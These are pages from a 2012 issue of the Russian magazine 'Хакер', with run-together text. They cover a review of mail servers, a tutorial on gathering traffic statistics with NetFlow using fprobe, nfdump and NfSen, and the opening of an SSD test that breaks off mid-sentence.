Qmail, Courier IMAP/POP3,serialmail (доставка почты через коммутируемыесоединения), qmailanalog (спискирассылки), dotforward, fastforward, mess822,daemontools, ucspi-tcp, Bogofilter, Fetchmailи других. Предоставляет набор инструментовдля управления виртуальными доменамии учетными записями пользователей собственнойразработки. Обеспечивает маршрутизациюдля SMTP, IMAP и POP3, что позволяетразместить почтовый домен на несколькихсерверах с обменом данными между ними иликак прокси. Это очень удобно, если организациясостоит из нескольких удаленных офисов.Используя утилиту hostcntrl, можно добавитьна обслуживание отдельные адреса из другихдоменов. Это позволяет использовать IndiMailв гетерогенной среде без необходимости поднятиянескольких доменов или при переходеот проприетарного решения. Несколько серверовс синхронизацией данных позволяют легконаращивать структуру. Чтобы обеспечитьлучшую масштабируемость и производительность,некоторые компоненты были изменены(в частности, Qmail). В IndiMail используетсянесколько так называемых коллекций (queuecollection), каждая из которых выполняетсвой процесс qmail-send/qmail-todo и можетхранить данные на отдельном харде. Такаяархитектура позволяет обрабатывать запросыбыстрее, чем оригинальный Qmail.Разработчики дают полную свободув настройках, практически все параметрыможно переопределить через переменные(а их всего около 200). Например, переменнаяCONTROLDIR указывает на каталог с конфигурационнымифайлами, QUEUEDIR — каталогс очередями. То есть можно запуститьнесколько копий IndiMail на одном сервересо своими настройками для каждой очереди,отправителя, получателя и узла. Но разбиратьсяво всех переменных необязательно:чтобы запустить IndiMail, понадобится всегонесколько правок. Новички могут управлятьустановками при помощи меню FLASH (построенона Ncurses). Данные о виртуальныхпользователях хранятся в MySQL, адресныекниги могут храниться в OpenLDAP. Последниерелизы полностью совместимыс systemd. Много внимания разработчикиуделяют безопасности как самого сервера,так и сервисов — минимальное использованиеSETUID, четкое разделение междупрограммами/адресами/файлами, пятиуровневыйtrust partitioning, автоматическоераспознавание локальных IP, access-list,Веб-интерфейс iWebAdmin построен на QmailAdmintcprules, фильтр контента, TLS/SSL и многоедругое.Установить IndiMail можно на любой 32/64 *nixплатформе. Для загрузки доступны исходныетексты, пакеты и репозитории для некоторыхпопулярных дистрибутивов Linux (RHEL/CentOS5/6, Fedora, openSUSE/SLE, Mandriva, Debianи Ubuntu). Для управления сервером предлагаетсяоколо 45 программ различного назначения(большинство расположено в /var/indimail/bin),учетные записи можно также настраивать припомощи веб-интерфейса iWebAdmin (построенна QmailAdmin), который необходимо устанавливатьотдельно.ХАКЕР 08 /163/ 2012125


SYN/ACKRumbleНАЗВАНИЕ: RumbleСАЙТ ПРОЕКТА: rumble.sf.netЛИЦЕНЗИЯ: GNU GPLПЛАТФОРМА: *nix, WindowsПочтовый сервер, поддерживающий SMTP(ESMTPSA), POP3 и IMAP. Очень прост в управлении,для администрирования используется вебинтерфейс.Вполне подходит для небольшихорганизаций с несколькими доменами. Написанна C/C++, для сценариев предлагается свой API(Lua и C/C++). Архитектура позволяет наращиватьпроизводительность сервера за счет кластеризациисерверов для одного или всех доменов.Поддерживает SSL/TLS, SQLite и MySQL,аутентификацию (MD5/PLAIN/STARTTLS), длязащиты от спама включены модули white/grey/blacklist, SpamAssassin, технологии BATV и VERP(Variable Envelope Return Path). В настройкахпредусмотрена возможность ограничить максимальныйразмер сообщения.На сайте доступны исходные коды и x86/x64-бинарники для установки на Linux (Generic,Ubuntu, Debian). Чтобы запустить сервер,нужно распаковать архив и выполнить скрипт,все остальное программа сделает сама. Дляудобства исходные тексты и конфигурационныефайлы можно распределить по соответствующимкаталогам и обеспечить автозагрузку пристарте ОС. Параметры сервера и модули подключаютсяв файле rumble.conf. Для возможностирегистрации через веб-интерфейс (порт2580) следует удалить автоматически созданныйфайл modules/rumblelua/auth.cfg (в немсодержится пароль админа), после этого открываемвеб-браузер и указываем новый пароль.Теперь можно управлять доменами, учетнымизаписями и почтовыми ящиками, настройкамисервера, просматривать логи и статистику.По умолчанию в качестве базы данныхиспользуется SQLite, если ее возможностей нехватает или в организации уже есть работающаяMySQL, то можно легко переключитьсервер для работы с этой СУБД.Для администрирования сервера используетсятри уровня — администратор сервера,администратор домена и пользователь. Интерфейсадминистратора сервера позволяет лишьсоздавать и удалять домены, плюс доступенряд специфических настроек. Создав домен,Информация о сервере в веб-интерфейсе Rumbleв меню RumbleLua User нужно добавить новыйаккаунт и указать в его настройках этот домен.Это и будет администратор домена, которыйпосле регистрации в системе получает возможностьсоздавать почтовые ящики, алиасы,привязывать адрес к модулю, задавать программу,которая будет запущена при полученииписьма на определенный адрес, и настраиватьрелей. Интерфейс не локализован, хотя всеочень просто и понятно.AxigenНАЗВАНИЕ: AxigenСАЙТ ПРОЕКТА: axigen.com/ruЛИЦЕНЗИЯ: GNU GPLПЛАТФОРМА: Linux, FreeBSD, Solaris, WindowsМногофункциональный, быстрый, защищенныйпочтовый сервер (SMTP/POP3/IMAP) с функциямисовместной работы, календарем, спискомзадач и заметками, разрабатываемый румынскойкомпанией Gecad Technologies. Работатьс сообщениями пользователи могут черезпочтовый клиент или при помощи локализованноговеб-интерфейса, построенного с применениемтехнологии Ajax, — его можно полностьюподогнать под себя. Поддерживаются горячиеклавиши, что еще больше усиливает ощущениеработы с обычным настольным приложением.В настройках доступны: сбор почты с внешнихящиков, автоответчик, фильтр почты, установкапсевдонимов и другое. Пользователь такжеможет экспортировать/импортировать контактыв файл формата CSV для переноса в другиеприложения. Кроме стандартного, предлагаетсяи упрощенный для мобильных устройств интерфейс,поддержка ActiveSync для синхронизациисообщений, контактов и календаря. В качестведополнения устанавливается расширение дляработы с общими папками.Администрирование выполняется при помощикомандной строки или через веб-модуль (работаетна 9000-м порту), понятный даже новичку.При этом тонко делегируются другим пользователямопределенные права по настройкам.Возможна интеграция с LDAP-сервером(в документации описан OpenLDAP и eDirectory)Axigen: антиспам-настройки в веб-интерфейсе юзераили Active Directory, для этого следует установитьспециальные схемы расширения. Реализованымодули резервирования и восстановленияинформации, списки рассылки, поддержкакластера и балансировки нагрузки, MAPIинтерфейс,РOP3- и IMAP-прокси. Сервер можетобслуживать несколько доменов с различныминастройками. В документации описано, какинтегрировать IM-сервис, построенный наоснове Jabber/XMPP. Кроме этого, Axigen имеетразвитую систему отчетов с выводом всевозможныхграфиков, всего подготовлено околоста шаблонов. Для защиты информации можетиспользоваться TLS/SSL, поддерживаютсявсе популярные механизмы аутентификации:plain, login, cram-md5, digest-md5 и так далее.Возможна интеграция с пятнадцатью решениямидля борьбы с вирусами (Kaspersky, Dr.Web,Symantec, ClamAV и другие) и спамом (включаяSpamAssassin). Поддерживаются технологииSPF, DKIM, черный/серый/белый списки и фильтрацияпо IP / стране отправителя. Все это подключаетсябуквально одним щелчком мышки изинтерфейса администратора. Возможен обменКонфигурация домена в Axigenданными между Axigen и MS Outlook, для этогонеобходимо установить коннектор.Большим плюсом Axigen является возможностьработы сервера на нескольких ОС. Настранице закачки доступны пакеты для Debian,RHEL и CentOS 5/6, SUSE Linux Enterprise 10/11,Fedora 12/13, openSUSE 11.2/11.3, FreeBSD7.x/8.x, Solaris 10 x86/SPARC и Win2k3/2k8 (x86/x64). Также подготовлены Virtuozzo — контейнерыдля быстрого развертывания в виртуальныхсредах. Установка очень проста и производитсяпри помощи GUI-интерфейса, в котором предстоитвыбрать сервисы, задать порты и указатьсетевые интерфейсы для подключений пользователейи админов. При должной сноровке весьпроцесс займет не более 10–15 минут. На сайтепроекта можно найти подробную документациюи несколько видеороликов, в которых показанпроцесс установки и администрирования. Кромеэтого, доступны демоинтерфейсы пользователяи администратора. Версия Axigen Free MailServer (Office Edition) предоставляется бесплатнои позволяет обслуживать до ста учетныхзаписей e-mail и пять календарей.126 ХАКЕР 08 /163/ 2012


Новая порода почтарейCommuniGate ProНАЗВАНИЕ: CommuniGate ProСАЙТ ПРОЕКТА: communigate.comЛИЦЕНЗИЯ: Free/платнаяПЛАТФОРМА: *nix, Windows, Mac OS XПопулярная платформа для обмена электроннойпочтой, IM, VoIP, с функциями календаря и автоматизациейсовместной работы. Например, VoIPобеспечивает передачу голоса/видео и обеспечиваеттакие возможности, как конференции,автосекретарь (IVR), автоматическое распределениезвонков, управление очередями вызовов,голосовая почта. При этом CommuniGate поддерживаетустановку на большое количествоОС и архитектур (всего около тридцати), IPv4и IPv6, стандартные протоколы SMTP, SIP, IMAP,XMPP, LDAP, RADIUS, XIMSS, CalDAV, WebDAV,MAPI и другие. Пограничный контроллерсессий (Session Border Controller) обеспечиваеткорректную работу через NAT-устройства. Входящийв состав CGP LDAP-сервер может использоватьсяи другими приложениями. Возможнасинхронизация данных с BlackBerry при помощиAirSync (лицензия на каждое устройство приобретаетсяотдельно). Менеджер рассылокпозволяет автоматизировать рассылку новостейс возможностью самостоятельной подпискипользователем. Рассылка создается администратором,в дальнейшем управляется одним изпользователей сервера.Пользователи могут подключиться черезлюбую программу-клиент, поддерживающуюэти протоколы, или локализованный вебинтерфейс.Причем веб-интерфейс очень простонастроить таким образом, что он принимаетвид обычного почтового клиента (чтобы юзверименьше путались). Также возможно использо-Веб-интерфейс администрирования CommuniGate Proвание упрощенного интерфейса для экономиитрафика при работе с PDA и доступ по протоколуWAP с мобильных телефонов. Вызвать пользователядля разговора через VoIP можно однимщелчком из веб-клиента или адресной книги.Администратор в настройках устанавливает доступныепользователю функции — сортировкуи пересылку почты, автоответчик, загрузку писемс внешних POP3-ящиков, список контактов,задач и календарь.Настройки позволяют пользователю открытьдоступ к своему ящику или отдельным папкамдругим пользователям сервера. Это полезно,когда в организации должна быть заведена служебнаяучетная запись для связи с клиентами,которую используют несколько человек.Один сервер может обслуживать несколькодоменов. Узлы кластера способны обрабатыватьтолько определенный вид трафика (например,по региону), для распределения запросов используетсятехнология SIP Farm. Решение легкомасштабируется до любых размеров. К слову, наCommuniGate Pro построена сеть IP-телефонииоператора SIPNET.Возможна аутентификация пользователяпри помощи внутренней БД, Active Directoryили внешней программы, в том числе поддерживаютсясертификаты клиента. В настройкахможно указать IP-адреса, с которых разрешеноили запрещено подключение клиентов. Всяинформация, хранящаяся на сервере и передаваемаямежду клиентом и сервером, может бытьзашифрована с помощью технологий SSL, TLS,S/MIME и других.Открытые API упрощают интеграцию с системамибиллинга и управления. Поддержкаплагинов позволяет подключать решениясторонних производителей для фильтрацииспама и вирусов. В настоящее время поддерживаетсяинтеграция с решениями от Касперского,Sophos, McAfee, MailShell, Cloudmark.Реализованы и стандартные средства защиты— проверка обратного адреса отправителя,поддержка DNSBL (RBL), запрет приема почтыс определенных IP-адресов и сетей, проверкаопределенной строки в заголовке или телеписьма.Установка в любой ОС несложна, по сути,нужно лишь распаковать архив и запуститьсервер. Все настройки сервера, доменов и учетныхзаписей производятся при помощи вебинтерфейса(работает на 8010-м порту, послезапуска нужно подключиться к нему в течениедесяти минут и задать пароль администратора).Система прав позволяет делегировать администрированиедомена другим пользователям,указав только те функции, которые им действительнонеобходимы.В настоящее время доступно нескольковерсий сервера, отличающихся лицензиями.Бесплатно предлагается Community Edition,в которой активно пять аккаунтов, за платупредлагаются Corporate Edition и ServiceProvider с дополнительными функциями.РАЗВЕРНУТЬ ПОЧТОВЫЙ СЕРВЕР ПРИ ПОМОЩИ ОПИСАННЫХРЕШЕНИЙ НЕ ТАК УЖ И СЛОЖНО, В ЗАВИСИМОСТИ ОТ ОПЫТА АДМИНАИ КОЛИЧЕСТВА НАСТРОЕК НА ЗАПУСК УЙДЕТ ОТ СИЛЫ ПОЛЧАСАZENTYAL — ПОЧТОВИК ИЗ КОРОБКИНовичкам, которых пугает само слово Linux и необходимость ввода команд в терминале, нужно простоерешение, позволяющее быстро и без чтения документации развернуть почтовый сервис. Как вариантздесь можно посоветовать Zentyal (zentyal.org) — специализированный дистрибутив, построенныйна базе Ubuntu Server (последний релиз основан на Ubuntu 12.04 LTS) и позволяющий выполнить всенеобходимые установки и настройки при помощи графического интерфейса. Zentyal — дистрибутивширокого назначения, который может использоваться и как роутер с функциями UTM, офисныйсервер или сервер сообщений. Все необходимые функции реализуются при помощи устанавливаемыхмодулей/пакетов. В настоящее время доступно более тридцати модулей из пяти категорий, которыедобавляются одним щелчком. Zentyal может устанавливаться в качестве самостоятельного сервера,используя свою базу пользователей, или работать в связке master/slave с возможностью репликациимежду несколькими серверами и синхронизации учетных данных с LDAP/AD.ЗАКЛЮЧЕНИЕРазвернуть почтовый сервер при помощиописанных решений не так ужи сложно, в зависимости от опытаадмина и количества настроек назапуск уйдет от силы полчаса. На какомконкретно решении остановиться,выбирать тебе. Для организациисреднего размера отлично подойдутiRedMail, Axigen и Rumble; в томслучае, когда компания состоит изнескольких территориально удаленныхофисов, следует присмотретьсяк Axigen, IndiMail и CommuniGatePro. Последний к тому же обеспечиваетVoIP. zХАКЕР 08 /163/ 2012127


SYN/ACKСергей Яремчук (grinder@synack.ru)Контрольв свободномпотокеСОБИРАЕМСТАТИСТИКУ ПРИПОМОЩИ NETFLOWЛюбой системный администратор рано илипоздно сталкивается с необходимостьюсобирать статистику по расходованию трафика,используя которую он всегда сможет ответитьна вопросы начальства: кто, на какие адреса,когда и сколько. Для этих целей сегодня созданомножество решений и технологий, и наиболеепопулярное из них — NetFlow.НЕСКОЛЬКО СЛОВ О NETFLOWСетевой протокол NetFlow изначально разрабатывался Cisco(goo.gl/vM2l7) для технологии коммутации пакетов в своих устройствах,но сегодня используется в основном для учета трафика. Егоспецификации открыты, поэтому со временем NetFlow стал стандартоми применяется не только в Cisco, но и в решениях других фирм(вроде Juniper и Enterasys) и ОС.На сегодня известно несколько версий. Протокол NetFlow v1,созданный в 1990 году, использовался в маршрутизаторах для коммутациипакетов, когда первый пакет потока создавал запись в таблицемаршрутизации (по сути, кеш), которая затем применялась ко всемупотоку. Примерно такая же технология сегодня задействуется и вNetfilter. Последняя, девятая версия протокола вышла в октябре 2004года и описана в RFC 3954. На основе v9 с несколькими расширениямибыл создан протокол IPFIX (IP Flow Information Export, RFC 3917),который в кулуарах называют NetFlow v10. При этом v2–4 являютсявнутренней реализацией Cisco, не получившей большого распространения.Поэтому после первой версии сразу появилась наиболеепопулярная v5, возможностей которой достаточно для большинствазадач в IPv4-сетях. Сетевой трафик анализируется на уровне сеансов,запись (flow record) создается для каждой транзакции TCP/IP. В v5 сохраняютсяданные о версии протокола, интерфейсах, времени началаи окончания соединения, IP и портах источника и назначения, количествебайт и пакетов, TOS- и TCP-флаги. Девятая версия понимаетзаголовки IPv6, метки потоков MPLS, адрес шлюза BGP и дополни-тельные поля. Например, в Cisco ASA NetFlow используется для динамическогоотслеживания потоков. Чтобы выявить различные события,как раз и предназначены специальные поля v9 (Network Security EventLogging, NSEL), которые затем сопоставляются с шаблонами.Для сбора и последующего анализа информации о трафике требуетсяналичие следующих NetFlow-компонентов:• сенсор — собирает статистику по всем сеансам (потокам трафика,flows) и отправляет коллектору. Сенсоры устанавливаются на всехмаршрутизаторах или других устройствах, статистику с которыхнеобходимо собрать. В зависимости от настроек информация сбрасываетсяпосле того, как сенсор определил, что поток закончился,или периодически по мере накопления данных;• коллектор — собирает данные, получаемые от сенсоров по UDPили SCTP (Stream Control Transmission Protocol), и обеспечиваетих хранение; формат хранения зависит от реализации. Коллекторобычно принимает данные о трафике на 2055-м порту, но в некоторыхреализациях это может быть порт 9555, 9995 или любой другой,определенный админом;• анализатор — анализирует собранные коллектором данные и выводитих в виде отчетов (таблицы и графики).Можно установить комплексное решение, когда разработчикпредлагает все три составляющие, или собрать свой вариант: сенсор+ коллектор + анализатор. В последнем случае следует учитыватьсовместимость форматов коллектор — анализатор, хотя некоторыепроекты предлагают свои конвертеры из одного формата в другой.В перегруженных сетях возможна потеря UDP-пакетов, а UDP неинформирует о необходимости повтора. Это может исказить статистику,особенно учитывая, что сенсор не хранит сброшенные данные.Эта проблема наиболее актуальна для v8 и v9, где в один пакет можетбыть объединена информация о нескольких потоках. В этом случаенекоторые реализации позволяют использовать SCTP. Хотя этотпротокол тоже неидеален, поскольку требует взаимодействия междуколлектором NetFlow и каждым сенсором NetFlow: например, есликоллектор обслуживает большое количество сенсоров, могут бытьзадержки и, опять же, потери. Использование UDP предпочтительно,когда сенсор завязан на несколько коллекторов, ведь UDP очень простореплицировать. Для этих целей можно использовать программувроде samplicator (code.google.com/p/samplicator), отправляющуюкопии UDP на несколько адресов. Кроме этого, ретранслироватьполученные данные могут и некоторые коллекторы. Протокол TCP,в силу своей специфики, не подходит для передачи такого объемаданных, так как будут возникать задержки из-за установления связии сбора всех пакетов (потребуется также выделить некоторый буфер,что опять повлечет затраты). В некоторых маршрутизаторах, работающихна высоконагруженных магистралях, используется упрощеннаяреализация Sampled NetFlow, когда считаются не все пакеты, а неко-128ХАКЕР 08 /163/ 2012


Контроль в свободном потокеУказываем IP-адрес коллектора при установке fprobeторые, через определенный промежуток (в разных реализациях свойалгоритм). Нетрудно догадаться, что Sampled NetFlow показывает неточную, а приблизительную статистику, хотя для некоторых задачэтого вполне достаточно.УСТАНАВЛИВАЕМ СЕНСОР НА LINUXПоддержка сенсоров NetFlow сегодня реализована во многихаппаратных маршрутизаторах, прошивках DD-WRT и ОС. Например,в анонсированной недавно VMware vSphere 5 появилась поддержкаNetFlow v5, предоставляющая возможность просматривать трафикмежду виртуальными машинами на одном или разных хостах. Отслеживаяпоток трафика приложений внутри виртуальной машины,админ может контролировать производительность сети и целевоеиспользование трафика. Для Cisco активация NetFlow для передачина коллектор 192.10.0.2:9001 очень проста:router(config)# interface fastethernet 0/0router(config)# ip route-cache flowrouter(config)# ip flow-export version 5 origin-asrouter(config)# ip flow-export 192.10.0.2 9001router(config)# ip flow-cache timeout active 5Вот далеко не все варианты NetFlow-сенсоров, при помощи которыхможно собирать статистику в разных ОС:• fprobe (fprobe.sourceforge.net) — работает в Linux, базируется наlibpcap, есть форк fprobe-ulog, использующий libipulog;• ipt-netflow — работает в Linuх и состоит из двух модулей: ядраи iptables;• softflowd (code.google.com/p/softflowd) — работает в Linux/FreeBSD,поддерживает NetFlow v1/v5/v9;• pfflowd (mindrot.org/projects/pfflowd) — работает в OpenBSD;• nProbe (ntop.org/products/nprobe) — расширяемый сенсор/коллекторпод Linux, FreeBSD и Windows, поддерживающий NetFlow v5/v9/IPFIX;• IPCAD (lionet.info/ipcad) — сенсор для Linux, FreeBSD, OpenBSD, MacOS X/Darwin и Solaris, поддерживающий raw BPF-устройства, PCAP,iptables ULOG & IPQ;• fSonar (softpiua.com/ru/products/softpi/fsonar.html) — сенсор дляWindows, поддерживающий NetFlow v5/v9;• ndsad (ndsad.sf.net) — сенсор, поддерживающий NetFlow v5 дляWindows (winpcap), Linux (libpcap), Mac OS X и FreeBSD;• PRTG Network Monitor (paessler.com/netflow_monitoring) — проприетарное«все в одном» решение для мониторинга Windows от XPи выше (десять сенсоров бесплатно).$ sudo nano /etc/default/fprobe# Для всех интерфейсов пишем "any"INTERFACE="eth0"FLOW_COLLECTOR="192.10.0.2:9001"# Дополнительные аргументы; так, "-f" позволяет указать# специфические условия выборки трафика; наиболее популярным# является отбор только IP-пакетов, то есть "-fip"OTHER_ARGS="-fip"Аргументов у fprobe очень много, в высоконагруженных сетях,возможно, потребуется корректировка приоритета (установкой rбольше 0), буфера ядра для захвата пакетов (B и q), задержки междуотправками (t). Теперь при помощи tcpdump можно просмотреть отправляемыена удаленную систему пакеты.$ sudo tcpdump -n udp port 9001Для удобства можно использовать фильтр, для отлова толькоNetFlow: «-T cnfp». Так же просто настраивается и Softflowd. Все,информация пошла, но пока в «никуда», самое время начать ее собирать.КОЛЛЕКТОРВыбор связки коллектор + анализатор — дело ответственноеи зависит от необходимости в дальнейшей обработке данных и ихвизуализации. Самым известным коллектором является пакетflow-tools, разрабатываемый Марком Фуллмером и содержащиймассу полезных инструментов, с помощью которых можно обрабатыватьсобранную информацию. Вместе с flow-tools можноиспользовать несколько анализаторов — Perl-скрипт FlowScan(caida.org/tools/utilities/flowscan), обрабатывающий полученныеflow-capture (коллектор NetFlow из пакета flow-tools) данные и сохраняющийитог в базе данных RRD. Для визуализации FlowScanможет использовать дополнительные модули отчетов: CUFlow,CampusIP, SubNetIO. Это очень интересный вариант, но мне большенравится nfdump (nfdump.sf.net), поддерживающий NetFlow v1/v5/v7/v9 и IPFIX (пока бета), для просмотра собранной им информациииспользуют фронтенд NfSen (Netflow Sensor, nfsen.sf.net). Причемдоступна и NSEL-версия nfdump, поддерживающая дополнительныезаписи Cisco ASA. Сам nfdump представляет собой пакет изнескольких утилит: nfcapd (демон, читающий поток и сохраняющийинформацию в файл), nfdump (считывает данные из файла и выводитстатистику), nfprofile (считывает данные из файла и применяетк ним фильтры, информацию сохраняет в другой файл дляЕсли в сети уже есть работающий маршрутизатор, выдающийNetFlow, эту часть статьи можно пропустить. Мы же предположим,что у нас настроен роутер на Ubuntu/Debian и мы хотим собиратьстатистику.$ sudo apt-get install fprobeВ процессе установки пакета будут заданы вопросы относительноинтерфейса для сбора статистики и хоста, на котором развернут коллектор(нужно указать IP-адрес и номер порта). После чего стартуетдемон с указанными настройками. В последующем все параметрыможно изменить в файле /etc/default/fprobe:Смотрим NetFlow-трафик при помощи tcpdumpХАКЕР 08 /163/ 2012 129


SYN/ACKдальнейшего использования), nfreplay (считывает данные из файлаи отправляет по сети на удаленную систему/коллектор), nfclean.pl(удаляет старые данные), ft2nfdump (конвертер данных flow-toolsв формат nfdump). По умолчанию демон nfcapd каждые пять минутсоздает файл с новым именем (включает метку времени, чтобы неповторяться), который затем анализируется nfdump. Нужный пакетесть в репозитории, поэтому установка nfdump в Ubuntu/Debianочень проста:$ sudo apt-get install nfdumpРаботу nfcapd и nfdump в большинстве случаев настраивают черезNfSen. Именно поэтому все демоны пакета nfdump по умолчанию нестартуют, в чем легко убедиться, заглянув в /etc/default/nfdump:$ cat /etc/default/nfdump# nfcapd is controlled by nfsennfcapd_start=noНо для начала удостоверимся, что все работает. Запускаем демондля сбора nfcapd-статистики, в качестве параметра указываем каталогдля хранения файлов и UDP-порт:$ sudo nfcapd -w -D -l /var/cache/nfdump/router1 -p 9001Если адресов несколько, а нужно выбрать один, указываемнужный при помощи '-b'. Параметр '-R host/port' позволяет сразупереправить NetFlow-пакеты на другой узел. При помощи параметра'-p' можно считывать данные не из сети, а из pcap-файла.Чтобы прочитать и вывести таблицу со всеми собранными даннымипри помощи nfdump, достаточно указать каталог:$ sudo nfdump -R var/cache/nfdump/router1Date flow start Duration Proto Src IP Addr:Port Dst IPAddr:Port Packets Bytes Flows2012-07-05 10:09:12.112 0.001 UDP 22.22.22.22:1234 ->192.10.19.10:22 1 400 1На первый взгляд, информации немного, но это если не знать,что nfdump умеет выводить информацию в четырех разных форматах(line, long, extended и custom), а по умолчанию используется самый«лаконичный» line. Чтобы изменить формат, следует использоватьпараметр '-o'. Утилита nfdump имеет большое количество параметрови фильтров, позволяющих отобрать нужную информацию, всеэто описано в «man nfdump», поэтому подробно останавливатьсяздесь не будем.ПЛАГИНЫ ДЛЯ NFSENВозможности NfSen расширяются при помощи плагинов (sf.net/apps/trac/nfsen-plugins). Для установки плагина его нужно распаковатьв подкаталог plugins, а затем подключить в nfsen.conf, взяв за примеримеющиеся там шаблоны.НАСТРАИВАЕМ NFSENПереходим к настройке NfSen. В репозиториях нужного пакета нет,поэтому установку придется производить вручную. Само приложениенаписано на PHP и Perl, для построения графиков используетсяRRDtool. Для его работы потребуется стандартный LAMP-сервери Perl-модули Mail::Header и Mail::Internet. Устанавливаем приложенияи библиотеки для удовлетворения зависимостей:$ sudo apt-get install apache2 libapache2-mod-php5 \php5-common libmailtools-perl rrdtool librrds-perlСкачиваем и распаковываем последнюю версию.$ wget -c http://goo.gl/CYk4s$ tar xzvf nfsen-1.3.6p1.tar.gz$ cd nfsen-1.3.6p1$ cp etc/nfsen-dist.conf etc/nfsen.confПравим шаблон конфигурационного файла. В начале файла идетмного переменных, указывающих на каталоги установки, в большинствеслучаев нет необходимости их изменять.$ nano etc/nfsen.conf$BASEDIR = "/usr/nfsen";# Каталог, в который будут установлены скрипты$HTMLDIR = "/var/www/nfsen/";# Каталог, в который установлены утилиты пакета nfdump$PREFIX = '/usr/bin';# Пользователь и группа, от имени которых запускается веб-сервер$USER = "www-data";$WWWUSER = "www-data";$WWWGROUP = "www-data";# Источники, можно указать несколько, для выделения разным# цветом используется параметр "col"Статистика, собранная NfSenГрафики, выдаваемые Flowscan130ХАКЕР 08 /163/ 2012


Контроль в свободном потокеПрименяем фильтры, чтобы NfSen предоставил нужную информациюНастройки профиля в NfSen%sources = ('ROUTER1' => { 'port' => '9001','col' => '#0000ff', 'type' => 'netflow' },);$MAIL_FROM = 'admin@example.com';$SMTP_SERVER = 'smtp.example.com';Кроме этого, в файле можно установить буфер для nfcapd, расширениядля каждого коллектора, переопределить каталоги для сбораданных и многое другое. Ставим.$ sudo ./install.pl etc/nfsen.confСкрипт проверит наличие необходимых Perl-модулей, после чегоскопирует компоненты по указанным в nfsen.conf каталогам. Запускаемnfsen, он активирует процессы nfcapd:$ sudo /usr/nfsen/bin/nfsen startОбеспечиваем автозагрузку:$ sudo ln -s /usr/nfsen/bin/nfsen /etc/init.d/nfsen$ sudo update-rc.d nfsen defaults 20Создаем настройки для Apache:$ sudo nano /etc/apache2/conf.d/nfsen.confDirectoryIndex nfsen.phpТеперь набираем в браузере адрес http://имя_сервера/nfsen/nfsen.php и наслаждаемся сгенерированными графиками и собраннойстатистикой. Интерфейс позволяет при помощи фильтров и запросовотобрать информацию только по определенным протоколам,IP-адресам, портам и так далее. По умолчанию используется длявсего профиля «any», для вывода графиков «proto TCP». Например,чтобы отследить только SSH-трафик, пишем «src or dst port 22», принеобходимости можно указать IP и прочие параметры. Изначально используетсятолько один профиль — Live, в него записываются данныесо всех источников, указанных в nfsen.conf. Чтобы построить графикидля различных источников или критериев, следует создать соответствующиепрофили (Live New Profile). Вот мы и построили системустатистики, которая будет обеспечивать тебя полноценной информациейпо расходу трафика. zИНСТРУМЕНТ УЧЕТА СТАТИСТИКИ PMACCTWWW• Страница Cisco,посвященная NetFlow:goo.gl/vM2l7;INFOНа сегодня наиболееиспользуемые версииNetFlow — это 5 и 9.Pmacct — это универсальный инструментдля учета трафика, способный обрабатыватьбольшие объемы данных и подходящий для всехситуаций: ISP, IXP, CDN, ЦОД, хот-спот и так далее.Возможно использование на Linux, *BSD, Solarisи встроенных системах. Поддерживает IPv4 и IPv6,а также большое количество протоколов сбораданных (libpcap, Netlink/ULOG, NetFlow v1/v5/v7/v8/v9, sFlow v2/v4/v5 и IPFIX), с возможностьюрепликации на удаленные коллекторы (IPFIX,NetFlow v5/v9 и sFlow v5) и сохранения данныхв memory tables, MySQL, PostgreSQL, SQLite,BerkeleyDB и простые файлы. Имеются гибкиевозможности по тегированию, фильтрации,редиректу, агрегации и разделению сохраняемыхданных, классификации потока. ИнтегрированBGP-демон для эффективного учета междоменноймаршрутизации и IS-IS/IGP-демон для внутреннеймаршрутизации, поддерживаются BGP/MPLS VPNs (RFC 4364). Реализован механизминспектирования туннелированного трафика (GTP).Имеется возможность интеграции с внешнимиинструментами, такими как RRDtool, GNUPlot,Net-SNMP, MRTG и Cacti. Модульная архитектураобеспечивает простую интеграцию новых средствзахвата и обработки данных. Дополнительноразработан целый ряд инструментов,использующих возможности Pmacct, — BWstat,pNRG, pmGraph, netactuator, FloX (Flow eXplorer),pmacct-frontend и другие.• сайт сенсора FreeBSDSoftflowd: code.google.com/p/softflowd;• сайт сенсора Open-BSD pfflowd: mindrot.org/projects/pfflowd;• сайт проекта nfdump:nfdump.sf.net;• сайт фронтендак nfdump NfSen: nfsen.sf.net.WARNINGSampled NetFlowпоказывает не точную,а приблизительнуюстатистику.Для отправки копийUDP по несколькимадресам подойдетутилита samplicator(code.google.com/p/samplicator).Некоторыеколлекторы пономерам пакетовмогут определить,что информацияпропущена,и учитывать этов своих расчетах.ХАКЕР 08 /163/ 2012 131


FERRUMАлександр МихеевBE QUICKOR BE DEADСПИСОК ТЕСТИРУЕМОГООБОРУДОВАНИЯ• Corsair CSSD-F120GBGT-BK• Corsair CSSD-P128GBP-BK• Intel SSDSC2CW240A3K5• KINGMAX KM240GSMP35• Kingston SH100S3/120G• OCZ VTX3-25SAT3-240G• Plextor PX-256M3P• PNY P-SSD2S120G3-BLK• Verbatim SSD SATA IIIТЕСТИРОВАНИЕТВЕРДОТЕЛЬНЫХНАКОПИТЕЛЕЙС ИНТЕРФЕЙСОМSATA 3.0вердотельные накопители, к сожалению,еще не стали столь доступными,Ткак того хотелось бы. Пока возникаетвопрос, что дешевле: купить 480 Гб SSD длясвоего старого ноутбука или уж сразу новыйлэптоп за те же деньги? Сегодня мы протестируемнакопители объемом от 120 до 256 Гб с нетакими кусающимися ценниками.ВСЕ ЛЮБЯТ SANDFORCEНесмотря на пока сравнительно высокуюстоимость за гигабайт, твердотельные накопителипродолжают, что называется, идтив массы. Отчасти этому «помогло» наводнениев Таиланде, нанесшее серьезный уронпроизводителям HDD, продукция которыхрезко взлетела в цене. Правда, даже наводнениюне удалось уравнять цены на SSD иобычные жесткие диски. Нам же пока остаетсяверить в конкуренцию, ведь сейчас на рынке«твердотельников» она очень высока: тольколенивый не выпустил одну-две линейки SSD.И подавляющее большинство — на одном итом же контроллере небезызвестной калифорнийскойкомпании. Нет, речь идет не об Appleи не о NVIDIA, а о SandForce, которую, кстати,в прошлом году приобрела другая компания изСША — LSI Corporation. Так вот, благодаря инженерамиз SandForce, которые сконструироваликонтроллеры, способные выжимать оченьмногое даже из недорогой и «медленной»NAND-памяти, мы можем наблюдать огромноеколичество сверхскоростных SSD от несколькихдесятков самых разных производителей.В нашем сегодняшнем тесте только два накопителяиз девяти основаны на контроллереот Marvell, остальные — сплошь на SandForceSF-2281. И даже Intel не преминул в этот развоспользоваться решением калифорнийцев,взяв на вооружение их технологии в недавновышедшей линейке Intel SSD 520 Series.НЕ ВСЕ ТО 